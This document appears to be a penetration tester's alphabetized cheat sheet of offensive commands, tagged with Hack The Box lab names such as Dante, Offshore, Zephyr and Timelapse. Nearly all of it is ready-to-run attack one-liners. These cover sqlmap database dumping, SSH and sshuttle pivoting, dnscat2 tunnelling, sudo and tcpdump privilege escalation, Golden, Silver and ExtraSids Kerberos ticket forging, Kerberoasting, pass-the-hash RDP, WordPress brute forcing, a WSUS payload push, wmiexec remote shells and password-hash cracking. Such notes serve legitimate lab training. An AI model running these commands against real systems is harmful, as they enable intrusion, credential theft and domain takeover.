sqlmap -r request.req --batch --level 4 --risk 3 --dbms=mssql --dbsProlab Offshore
Test a login form
Automated SQL injection testing
sqlmap -u 'http://<TARGET>/login' --form --dbs --batch --level 4 --risk 3Prolab Offshore
Dump one table
Automated SQL injection testing
sqlmap -u 'http://<TARGET>/login' --form -D <DATABASE> -T <TABLE> --dumpProlab Offshore
ss
ssh · OpenSSH client
bloodhound
SSH dynamic SOCKS proxy
ssh -D 1080 -i id <USER>@<DOMAIN>SSH through proxychains
Route a tool through a proxy chain
proxychains ssh <USER>@<TARGET>SSH with a key, user and port
SSH local port forward
ssh -i C:\id_rsa -l <USER>@<DOMAIN> -p <TARGET_PORT> <TARGET>create ssh dir
SSH login with a private key
ssh -i id <USER>@<DOMAIN>SOCKS proxy over SSH (-D)
SSH dynamic SOCKS proxy
ssh -D 9050 user@<DMZ01>get username
SSH login with a private key
ssh -i id_ed25519 <USER>@<DOMAIN>SSH local port forward
ssh -i C:\id_rsa -l <USER>@<DOMAIN> -p 22 SRV01Local port forward (-L)
SSH local port forward
ssh -L 1234:localhost:3306 <USER>@<TARGET>Several local port forwards
SSH local port forward
ssh -L 1234:localhost:3306 8080:localhost:80 <USER>@<TARGET>SSH through a forwarded local port
SSH login
ssh -p2222 -lubuntu <TARGET>Reverse SSH tunnel (-R)
SSH remote port forward
ssh -R <PIVOT_IP>:8080:<TARGET>:80 <USER>@<TARGET> -vNDynamic SOCKS proxy over SSH
SSH dynamic SOCKS proxy
ssh -i id_rsa -D 1080 <USER>@<TARGET>Prolab Dante
ssh2john
Convert an SSH key to a hash
Crack hashes with John the Ripper
python3 ssh2john.py SSH.private > ssh.hashsshesame
lansweeper login
NetExec SMB check/authentication
sshesame (master) ✗ nxc smb <TARGET> -u <USER> -p <PASSWORD>sshpass
nigal has session
SSH login
sshpass -p <PASSWORD> ssh <USER>@<DOMAIN>proxychains
SSH dynamic SOCKS proxy
sshpass -p <PASSWORD> ssh -N -f -D <TARGET>:9050 <USER>@<TARGET>sshuttle · VPN over SSH
Route traffic through sshuttle
sudo sshuttle -r <USER>@<TARGET> <TARGET> -vsshuttle -r <USER>@<PIVOT_IP> <TARGET>/24 -vZephyr notes
start-dnscat2
Connect to the dnscat2 server
Start the tunnel
Start-Dnscat2 -DNSserver <LHOST> -Domain <DOMAIN> -PreSharedSecret <NT_HASH> -Exec cmdShell upgrade
upgrade shell
Run bash
script /dev/null -c bash
# press Ctrl+Z, then:
stty raw -echo; fgZephyr notes
sudo
sudo -u#-1 bypass
Run bash
sudo -u#-1 /bin/bashProlab Dante
Shell as another user
Run bash
sudo -u <USER> /bin/bashProlab Dante
systeminfo
View detailed system configuration information
systeminfotail
Show the end of proxychains.conf
Route a tool through a proxy chain
tail -4 /etc/proxychains.confRead the end of every bash history
Run bash
tail -n5 /home/*/.bash*takeown
Taking ownership of a file
takeown /f C:\backups\wwwroot\web.configtar
targetedKerberoast · Kerberoast users by setting an SPN
Targeted Kerberoasting
python3 targetedKerberoast.py -vv -d <DOMAIN> -u <USER> -p <PASSWORD> --request-user <USER> --dc-ip <TARGET>tasklist
List running processes and services
tasklist /svctcpdump
Priv esc with tcpdump
Capture network traffic
sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z rootReclaiming NATS
Capture network traffic
# basic
sudo tcpdump -i tun0 -nn host <TARGET> and not port 53 and not port 2049# -A grep
sudo tcpdump -i tun0 -nn host <TARGET> and not port 53 and not port 2049 -A | grep <USER>Capture packets on an interface
Capture network traffic
sudo tcpdump -i ens224test-adminaccess
Test admin access
Test admin access
Test-AdminAccessTest local admin access on a remote host
Test admin access
Test-AdminAccess -ComputerName SQL01test-netconnection
Test connection to <TARGET> on port 5900
Test net connection
Test-NetConnection -ComputerName <TARGET> -Port 5900tftp
Download a file from a TFTP server
tftp -i <TARGET_IP> GET "\SMSTemp\<TIMESTAMP>.{<GUID>}.boot.var" "<TIMESTAMP>.{<GUID>}.boot.var"tgssub
Live SPN Jacking
Route a tool through a proxy chain
proxychains4 -q python3 tgssub/examples/tgssub.py -in Administrator@<USER>@<DOMAIN> -altservice "cifs/WEB01" -out newticket.ccacheticketconverter
ticketer.py · Forge Kerberos tickets (Impacket)
Create Golden Ticket using ticketer.py
Forge a ticket with extra SIDs
ticketer.py -nthash <NT_HASH> -domain dev.<DOMAIN> -domain-sid S-1-5-21-<DOMAIN_SID> -extra-sid S-1-5-21-<DOMAIN_SID>-519 htb-student .ESC8
Forge a Silver Ticket
ticketer.py -nthash <NT_HASH> -domain-sid S-1-5-21-<DOMAIN_SID> -domain <DOMAIN> -spn cifs/lab-dc.<DOMAIN> AdministratorUsed on Breach
ExtraSids Attack
Forge a ticket with extra SIDs
ticketer.py -nthash <NT_HASH> -domain dev.<DOMAIN> -domain-sid S-1-5-21-<DOMAIN_SID> -extra-sid S-1-5-21-<DOMAIN_SID>-519 htb-studentGolden Ticket
Forge a Kerberos ticket (Golden/Silver)
ticketer.py -nthash <NT_HASH> -domain-sid S-1-5-21-<DOMAIN_SID> -domain <DOMAIN> AdministratorForge a Golden Ticket
Forge a ticket with extra SIDs
ticketer.py -nthash <NT_HASH> -domain LOGISTICS.<DOMAIN> -domain-sid S-1-5-21-<DOMAIN_SID> -extra-sid S-1-5-21-<DOMAIN_SID>-519 hackertmux
Created a shared tmux session socket
tmux -S /shareds new -s debugsessuname
Check the Kernel versiion
uname -aunshadow
Combine passwd and shadow for cracking
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashesupload
use_link
Privileged Access to Server Links
use_link "SQL02\SQLEXPRESS"username-anarchy · Username list generator
Generate usernames from a name list
# --input-file ./names.txt
./username-anarchy --input-file ./names.txt# -i /path/to/listoffirstandlastnames.txt
./username-anarchy -i /path/to/listoffirstandlastnames.txtvssadmin
Create a volume shadow copy
vssadmin CREATE SHADOW /For=C:wevtutil
Passing credentials to wevtutil
Search text in files
wevtutil qe Security /rd:true /f:text /r:share01 /u:<USER> /p:<PASSWORD> | findstr "/user"wget
Download a file using Wget
Download a file
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.shDownload Program.cs from specified URI
Download a file
wget -Uri http://<LHOST>/CleanRunMRU/CleanRunMRU/Program.cs -OutFile CleanRunMRU.cswimmount
wim file
wimmount AWSJPWK0222-01.wim /tmp/mount1windapsearch
Show windapsearch options
Show windapsearch help
windapsearch.py -hList Domain Admins (--da)
List Domain Admins
python3 windapsearch.py --dc-ip <TARGET> -u <USER> -p <PASSWORD> --daFind privileged users (-PU)
List privileged users
python3 windapsearch.py --dc-ip <TARGET> -u <USER> -p <PASSWORD> -PUList domain users (-U)
Enumerate AD over LDAP (windapsearch)
./windapsearch.py --dc-ip <TARGET> -u <USER> -Uwinrs
Run PowerShell on a remote host (winrs)
Show the current user
# -r :
winrs -r:<IP> "powershell -c whoami;hostname"# /remote: /username: /password:
winrs /remote:<IP> /username:<USER> /password:<PASSWORD> "powershell -c whoami;hostname"wmic · Windows Management Instrumentation command
Execute notepad.exe on remote machine using WMIC
Create a process via WMI
wmic /node:<IP> process call create "notepad.exe"Finding a user's SID
Query WMI objects
wmic useraccount where name="netadm" get sidGet installed programs
Query or manage Windows via WMI
wmic product get nameGet OS details from remote machine using WMIC
Query OS information via WMI
wmic /node:<IP> os get Caption,CSDVersion,OSArchitecture,VersionGet patches and updates
List installed patches
wmic qfeSearching for unquoted service paths
Query WMI objects
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """wmiexec.py · Remote shell over WMI (Impacket)
Gaining Access
Semi-interactive shell over WMI
wmiexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET>Used on Timelapse
wpscan
Find vulnerable WordPress plugins
Enumerate vulnerable WordPress plugins
wpscan --url http://<TARGET>/wordpress --enumerate vpProlab Dante
Enumerate WordPress users
Enumerate WordPress users
wpscan --url http://<TARGET>/wordpress --enumerate uProlab Dante
Brute force WordPress logins
Scan a WordPress site
wpscan --url http://<TARGET>/wordpress --usernames names.txt --passwords words.txtProlab Dante
wsuks
log files info
Remote shell via service creation (psexec)
sudo wsuks --tls-cert wsus.pem --executable PsExec.exe --command "-accepteula -s C:\temp\payload.exe" -t <TARGET> --serve-only -I tun0xfreerdp · FreeRDP command-line client
Connect to a remote desktop using FreeRDP
RDP with a shared local folder
xfreerdp /u:<USER> /p:<PASSWORD> /d:<DOMAIN> /v:<TARGET_IP> /dynamic-resolution /drive:.,linux /bpp:8 /compression -themes -wallpaper /clipboard /audio-mode:0 /auto-reconnect -glyph-cacheRDP to lab target
RDP connection
xfreerdp /v:<TARGET> /u:<USER> /p:<PASSWORD>RDP
RDP with a shared local folder
# xfreerdp /p: /dynamic-resolution
xfreerdp /u:<USER> /p:<PASSWORD> /d:<DOMAIN> /v:<TARGET> /dynamic-resolution /drive:.,linux /bpp:8 /compression -themes -wallpaper /clipboard /audio-mode:0# proxychains4 -q xfreerdp /pth:
proxychains4 -q xfreerdp /u:<USER> /pth:<NT_HASH> /d:<DOMAIN> /v:<TARGET>xfreerdp drive
Route a tool through a proxy chain
proxychains4 xfreerdp /u:<USER> /p:<PASSWORD> /v:<TARGET> /drive:linux,/home/<USER>/shareZephyr notes
xp_cmdshell
Run OS commands with xp_cmdshell
Show the current user
xp_cmdshell whoamiUsed to enumerate rights on a system using xp_cmdshell
Show current token privileges
xp_cmdshell whoami /privzip
Escalating to <USER>
Archive or extract files
zip Settings_Update.zip settings_update.dllUsed on Logging
multiple files into 1 single .zip into the BloodHound GUI
Archive or extract files
zip -r ilfreight_bh.zip *.json Used to compress file to be uploadedzip2john
Cracking the Zip Password
Crack hashes with John the Ripper
zip2john winrm_backup.zip > hash_winrm_zipfileUsed on Timelapse
Convert a ZIP file to a hash
Crack hashes with John the Ripper
zip2john ZIP.zip > zip.hash